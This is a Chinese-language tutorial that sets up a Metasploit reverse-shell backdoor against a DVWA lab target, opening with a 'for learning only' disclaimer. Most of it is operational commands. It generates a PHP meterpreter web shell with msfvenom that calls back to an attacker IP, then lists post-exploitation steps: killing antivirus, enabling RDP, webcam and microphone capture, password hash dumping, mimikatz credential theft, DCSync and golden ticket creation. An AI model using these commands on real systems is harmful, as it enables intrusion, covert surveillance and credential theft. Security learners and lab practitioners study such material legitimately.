说明：
本章内容，仅供学习，不要用于非法用途（做个好白帽）
（一）后门反弹是什么
后门反弹是指攻击者在成功入侵一台计算机后，在目标计算机上安装一个“后门程序”，将该程序与反向Shell连接在一起。这种“后门程序”通常是一个被精心编写的脚本、软件工具或操作系统的恶意修改版本，它会在被攻击的计算机上隐藏起来，并开辟一个特殊的端口以便远程控制攻击者的Shell来操纵计算机。
当攻击者使用后门程序进行攻击时，它会向预定义的攻击者主机发起连接，允许攻击者通过反向Shell和目标计算机进行远程连接。这样，攻击者就能够利用这个“后门程序”，在经过登录验证的情况下轻松地远程控制目标计算机。在许多情况下，攻击者通过这种方式来执行各种恶意操作，包括修改或操纵系统文件、查看、篡改、窃取用户敏感信息等。
（二）实验演示
1、使用监控模块-handler
use exploit/multi/handler
2、配置攻击负载设置payload
设置php的攻击负载payload：
命令：set payload php/meterpreter/reverse_tcp
3、生成php后门，攻击获取meterpreterf
命令：
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.23.44 lport=4444 R>shell.php
-p:指定需要使用的payload(攻击荷载),其中lhost是攻击机ip,lport是攻击机的端口
R>shell.php：是生成的php后门文件为shell.php
4、上传php后门文件上传文件到目标网站（dvwa靶场）
在攻击机kali中，运行run或lportm命令时候就开始攻击，在击之后，如果有用户访问木马文件shell.php，msf就进入meterpreter工具下，说明就服务器执行了木马文件shell.php。
我们可以通过后门，获取主机的用户名已经成功
以下是可以meterpreter,可以针对window系统进行的命令
查看进程：ps
查看当前进程号：getpid
查看系统信息：sysinfo
查看目标机是否为虚拟机：run post/windows/gather/checkvm
查看完整网络设置：route
查看当前权限：getuid
自动提权：getsystem
关闭杀毒软件：run post/windows/manage/killav
启动远程桌面协议：run post/windows/manage/enable_rdp
列举当前登录的用户：run post/windows/gather/enum_logged_on_users
查看当前应用程序：run post/windows/gather/enum_applications
抓取目标机的屏幕截图：load espia ； screengrab
获取相机设备：webcam_list
控制拍照 ：webcam_snap
直播摄像头：webcam_stream
控制录音：record_mic
查看当前处于目标机的那个目录：pwd
查看当前目录：getlwd
导出当前用户密码哈希 run hashdump
用户名：SID：LM哈希：NTLM哈希:::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码（注意这个功能需要获取系统权限 获取系统权限需要输入getsystem）
首选终端输入 load kiwi 加载kiwi
creds_all：列举所有凭据
creds_kerberos：列举所有kerberos凭据
creds_msv：列举所有msv凭据
creds_ssp：列举所有ssp凭据
creds_tspkg：列举所有tspkg凭据
creds_wdigest：列举所有wdigest凭据
dcsync：通过DCSync检索用户帐户信息
dcsync_ntlm：通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create：创建黄金票据
kerberos_ticket_list：列举kerberos票据
kerberos_ticket_purge：清除kerberos票据
kerberos_ticket_use：使用kerberos票据
kiwi_cmd：执行mimikatz的命令，后面接mimikatz.exe的命令
lsa_dump_sam：dump出lsa的SAM
lsa_dump_secrets：dump出lsa的密文
password_change：修改密码
wifi_list：列出当前用户的wifi配置文件
wifi_list_shared：列出共享wifi配置文件/编码